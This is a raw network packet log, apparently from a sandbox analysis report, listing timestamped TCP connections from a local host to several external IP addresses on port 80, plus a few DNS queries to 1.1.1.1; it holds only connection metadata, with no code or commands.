Sep 30, 2024 18:45:00.003643036 CEST	80	49717	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:00.003802061 CEST	49717	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:01.035120010 CEST	49717	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:01.040601015 CEST	80	49717	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:02.052423000 CEST	49718	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:02.057566881 CEST	80	49718	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:02.057697058 CEST	49718	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:02.067527056 CEST	49718	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:02.073376894 CEST	80	49718	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:02.521620989 CEST	80	49718	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:02.521743059 CEST	49718	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:03.580714941 CEST	49718	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:03.585700035 CEST	80	49718	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:04.599447966 CEST	49719	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:04.604399920 CEST	80	49719	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:04.604608059 CEST	49719	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:04.614773035 CEST	49719	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:04.619899035 CEST	80	49719	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:04.620230913 CEST	80	49719	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:05.075373888 CEST	80	49719	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:05.075570107 CEST	49719	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:06.127574921 CEST	49719	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:06.440053940 CEST	49719	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:06.521437883 CEST	80	49719	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:06.521519899 CEST	80	49719	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:06.521786928 CEST	49719	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:07.146475077 CEST	49720	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:07.151591063 CEST	80	49720	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:07.151674986 CEST	49720	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:07.160469055 CEST	49720	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:07.165376902 CEST	80	49720	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:08.252270937 CEST	80	49720	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:08.252335072 CEST	80	49720	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:08.252365112 CEST	80	49720	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:08.252393961 CEST	80	49720	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:08.252588034 CEST	49720	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:08.252914906 CEST	49720	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:08.255300045 CEST	49720	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:08.261164904 CEST	80	49720	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:13.996642113 CEST	49721	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:14.001564980 CEST	80	49721	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:14.001678944 CEST	49721	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:14.011528969 CEST	49721	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:14.016360998 CEST	80	49721	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:15.518326044 CEST	49721	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:15.830527067 CEST	49721	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:16.318583965 CEST	80	49721	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:16.318694115 CEST	80	49721	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:16.318701982 CEST	80	49721	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:16.318736076 CEST	49721	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:16.318762064 CEST	49721	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:16.318841934 CEST	49721	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:16.320951939 CEST	80	49721	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:16.321000099 CEST	49721	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:16.321449995 CEST	80	49721	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:16.321460009 CEST	80	49721	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:16.321485043 CEST	49721	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:16.321511984 CEST	49721	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:16.536730051 CEST	49722	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:16.611673117 CEST	80	49722	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:16.611810923 CEST	49722	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:16.621462107 CEST	49722	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:16.628252983 CEST	80	49722	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:18.127639055 CEST	49722	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:18.133095026 CEST	80	49722	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:18.133307934 CEST	49722	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:19.146687031 CEST	49723	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:19.151570082 CEST	80	49723	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:19.151652098 CEST	49723	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:19.166954994 CEST	49723	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:19.171977043 CEST	80	49723	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:19.172182083 CEST	80	49723	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:20.674357891 CEST	49723	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:20.682081938 CEST	80	49723	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:20.682195902 CEST	49723	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:21.693331003 CEST	49724	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:22.705687046 CEST	49724	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:22.802102089 CEST	80	49724	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:22.802141905 CEST	80	49724	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:22.802426100 CEST	49724	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:22.802426100 CEST	49724	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:22.809087038 CEST	49724	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:22.815457106 CEST	80	49724	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:24.969702959 CEST	80	49724	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:24.969793081 CEST	80	49724	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:24.969829082 CEST	80	49724	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:24.969862938 CEST	80	49724	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:24.969887972 CEST	49724	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:24.969916105 CEST	80	49724	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:24.970022917 CEST	49724	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:24.972429991 CEST	80	49724	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:24.972793102 CEST	49724	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:24.972819090 CEST	49724	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:45:24.977955103 CEST	80	49724	188.114.96.3	192.168.2.5
Sep 30, 2024 18:45:30.092318058 CEST	49725	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:30.097259045 CEST	80	49725	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:30.097354889 CEST	49725	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:30.107839108 CEST	49725	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:30.113665104 CEST	80	49725	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:30.783900976 CEST	80	49725	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:30.783925056 CEST	80	49725	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:30.783977985 CEST	49725	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:31.613924980 CEST	49725	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:32.631947041 CEST	49726	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:33.239751101 CEST	80	49726	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:33.239862919 CEST	49726	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:33.269056082 CEST	49726	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:33.273912907 CEST	80	49726	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:33.928003073 CEST	80	49726	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:33.928025007 CEST	80	49726	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:33.928190947 CEST	49726	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:34.789660931 CEST	49726	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:35.802697897 CEST	49727	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:35.807728052 CEST	80	49727	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:35.809099913 CEST	49727	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:35.819681883 CEST	49727	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:35.824665070 CEST	80	49727	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:35.824795008 CEST	80	49727	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:36.499644041 CEST	80	49727	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:36.499842882 CEST	80	49727	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:36.499996901 CEST	49727	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:37.330575943 CEST	49727	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:38.352478981 CEST	49728	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:38.358123064 CEST	80	49728	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:38.360121965 CEST	49728	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:38.367938042 CEST	49728	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:38.374247074 CEST	80	49728	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:39.050970078 CEST	80	49728	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:39.050993919 CEST	80	49728	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:39.051167965 CEST	49728	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:39.054281950 CEST	49728	80	192.168.2.5	31.31.196.17
Sep 30, 2024 18:45:39.060642004 CEST	80	49728	31.31.196.17	192.168.2.5
Sep 30, 2024 18:45:44.340513945 CEST	49729	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:44.345390081 CEST	80	49729	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:44.345523119 CEST	49729	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:44.357346058 CEST	49729	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:44.362211943 CEST	80	49729	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:44.803666115 CEST	80	49729	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:44.803733110 CEST	49729	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:45.862255096 CEST	49729	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:45.867284060 CEST	80	49729	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:46.880894899 CEST	49730	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:46.885817051 CEST	80	49730	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:46.885911942 CEST	49730	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:46.897329092 CEST	49730	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:46.902223110 CEST	80	49730	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:47.604343891 CEST	80	49730	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:47.605004072 CEST	80	49730	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:47.605021954 CEST	49730	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:47.610028028 CEST	49730	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:48.413942099 CEST	49730	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:48.419111013 CEST	80	49730	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:49.428239107 CEST	49731	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:49.433222055 CEST	80	49731	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:49.433295965 CEST	49731	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:49.449060917 CEST	49731	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:49.453958035 CEST	80	49731	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:49.454037905 CEST	80	49731	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:49.889275074 CEST	80	49731	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:49.890045881 CEST	49731	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:50.955575943 CEST	49731	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:50.960545063 CEST	80	49731	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:51.977936983 CEST	49732	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:51.984338045 CEST	80	49732	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:51.989964008 CEST	49732	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:51.993941069 CEST	49732	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:51.999953032 CEST	80	49732	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:52.447935104 CEST	80	49732	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:52.448338985 CEST	80	49732	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:52.448503971 CEST	49732	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:52.452944994 CEST	49732	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:52.459444046 CEST	80	49732	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:57.472338915 CEST	49733	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:57.477210999 CEST	80	49733	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:57.477332115 CEST	49733	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:57.488435030 CEST	49733	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:57.493341923 CEST	80	49733	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:57.942615032 CEST	80	49733	3.33.130.190	192.168.2.5
Sep 30, 2024 18:45:57.946439981 CEST	49733	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:59.002850056 CEST	49733	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:45:59.010484934 CEST	80	49733	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:00.021003962 CEST	49734	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:00.026226044 CEST	80	49734	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:00.030210972 CEST	49734	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:00.042021990 CEST	49734	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:00.046921968 CEST	80	49734	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:00.490369081 CEST	80	49734	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:00.491065025 CEST	49734	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:01.566272974 CEST	49734	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:01.573678970 CEST	80	49734	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:02.585936069 CEST	49735	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:02.592982054 CEST	80	49735	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:02.593102932 CEST	49735	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:02.604048967 CEST	49735	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:02.609000921 CEST	80	49735	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:02.609019995 CEST	80	49735	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:03.052462101 CEST	80	49735	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:03.052545071 CEST	49735	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:04.166642904 CEST	49735	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:04.172540903 CEST	80	49735	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:05.178265095 CEST	49736	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:05.244272947 CEST	80	49736	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:05.244352102 CEST	49736	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:05.251880884 CEST	49736	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:05.257360935 CEST	80	49736	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:06.630744934 CEST	80	49736	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:06.630825996 CEST	80	49736	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:06.630904913 CEST	49736	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:06.633805037 CEST	49736	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:06.638597965 CEST	80	49736	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:12.228687048 CEST	49737	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:12.233620882 CEST	80	49737	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:12.233736038 CEST	49737	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:12.244235992 CEST	49737	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:12.249160051 CEST	80	49737	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:12.839900970 CEST	80	49737	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:12.839963913 CEST	80	49737	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:12.840051889 CEST	49737	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:13.752969027 CEST	49737	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:14.771316051 CEST	49738	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:14.910134077 CEST	80	49738	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:14.910233974 CEST	49738	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:14.922312975 CEST	49738	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:14.927541971 CEST	80	49738	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:15.509844065 CEST	80	49738	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:15.509900093 CEST	80	49738	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:15.509965897 CEST	49738	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:16.425971031 CEST	49738	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:17.444201946 CEST	49739	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:17.449861050 CEST	80	49739	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:17.449938059 CEST	49739	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:17.465114117 CEST	49739	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:17.470196962 CEST	80	49739	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:17.470319986 CEST	80	49739	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:18.148269892 CEST	80	49739	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:18.148330927 CEST	80	49739	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:18.150197029 CEST	49739	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:18.971477032 CEST	49739	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:19.990300894 CEST	49740	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:19.995717049 CEST	80	49740	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:19.998102903 CEST	49740	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:20.004842043 CEST	49740	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:20.010301113 CEST	80	49740	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:20.598527908 CEST	80	49740	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:20.598581076 CEST	80	49740	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:20.598814011 CEST	49740	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:20.601948977 CEST	49740	80	192.168.2.5	199.192.21.169
Sep 30, 2024 18:46:20.606801033 CEST	80	49740	199.192.21.169	192.168.2.5
Sep 30, 2024 18:46:25.657496929 CEST	49741	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:25.662563086 CEST	80	49741	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:25.662638903 CEST	49741	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:25.713385105 CEST	49741	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:25.718386889 CEST	80	49741	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:26.311675072 CEST	80	49741	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:26.314021111 CEST	49741	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:27.221226931 CEST	49741	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:27.226202965 CEST	80	49741	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:28.344153881 CEST	49742	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:28.349153042 CEST	80	49742	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:28.349239111 CEST	49742	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:28.368000984 CEST	49742	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:28.375370979 CEST	80	49742	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:29.737200975 CEST	80	49742	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:29.738123894 CEST	49742	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:29.877942085 CEST	49742	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:29.882842064 CEST	80	49742	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:30.945161104 CEST	49743	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:31.445936918 CEST	80	49743	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:31.446026087 CEST	49743	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:31.459141970 CEST	49743	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:31.464020014 CEST	80	49743	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:31.464242935 CEST	80	49743	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:31.920974016 CEST	80	49743	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:31.922116041 CEST	49743	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:32.971259117 CEST	49743	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:32.976421118 CEST	80	49743	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:34.009954929 CEST	49744	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:34.014890909 CEST	80	49744	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:34.016103983 CEST	49744	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:34.023124933 CEST	49744	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:34.028105021 CEST	80	49744	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:34.481323957 CEST	80	49744	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:34.481354952 CEST	80	49744	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:34.481837034 CEST	49744	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:34.484368086 CEST	49744	80	192.168.2.5	3.33.130.190
Sep 30, 2024 18:46:34.489880085 CEST	80	49744	3.33.130.190	192.168.2.5
Sep 30, 2024 18:46:39.510593891 CEST	49745	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:39.515628099 CEST	80	49745	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:39.515700102 CEST	49745	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:39.529092073 CEST	49745	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:39.534900904 CEST	80	49745	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:40.039232969 CEST	80	49745	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:40.040517092 CEST	80	49745	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:40.040590048 CEST	49745	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:41.033628941 CEST	49745	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:42.053970098 CEST	49746	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:42.059146881 CEST	80	49746	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:42.059431076 CEST	49746	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:42.069973946 CEST	49746	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:42.074873924 CEST	80	49746	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:42.538909912 CEST	80	49746	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:42.540323019 CEST	80	49746	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:42.546070099 CEST	49746	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:43.581784964 CEST	49746	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:44.599180937 CEST	49747	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:44.604350090 CEST	80	49747	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:44.604600906 CEST	49747	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:44.614772081 CEST	49747	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:44.619895935 CEST	80	49747	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:44.619908094 CEST	80	49747	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:45.068811893 CEST	80	49747	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:45.069700956 CEST	80	49747	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:45.069786072 CEST	49747	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:46.127399921 CEST	49747	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:47.174294949 CEST	49748	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:47.179524899 CEST	80	49748	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:47.179590940 CEST	49748	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:47.186758995 CEST	49748	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:47.192430973 CEST	80	49748	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:47.677134037 CEST	80	49748	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:47.677592993 CEST	80	49748	188.114.96.3	192.168.2.5
Sep 30, 2024 18:46:47.677650928 CEST	49748	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:47.681945086 CEST	49748	80	192.168.2.5	188.114.96.3
Sep 30, 2024 18:46:47.686954975 CEST	80	49748	188.114.96.3	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 18:44:30.263058901 CEST	51622	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:44:30.568319082 CEST	53	51622	1.1.1.1	192.168.2.5
Sep 30, 2024 18:44:46.333885908 CEST	62738	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:44:46.347861052 CEST	53	62738	1.1.1.1	192.168.2.5
Sep 30, 2024 18:44:59.490360975 CEST	54750	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:44:59.504785061 CEST	53	54750	1.1.1.1	192.168.2.5
Sep 30, 2024 18:45:13.271548986 CEST	55145	53	192.168.2.5	1.1.1.1
Sep 30, 2024 18:45:13.989140987 CEST	53	55145	1.1.1.1	192.168.2.5
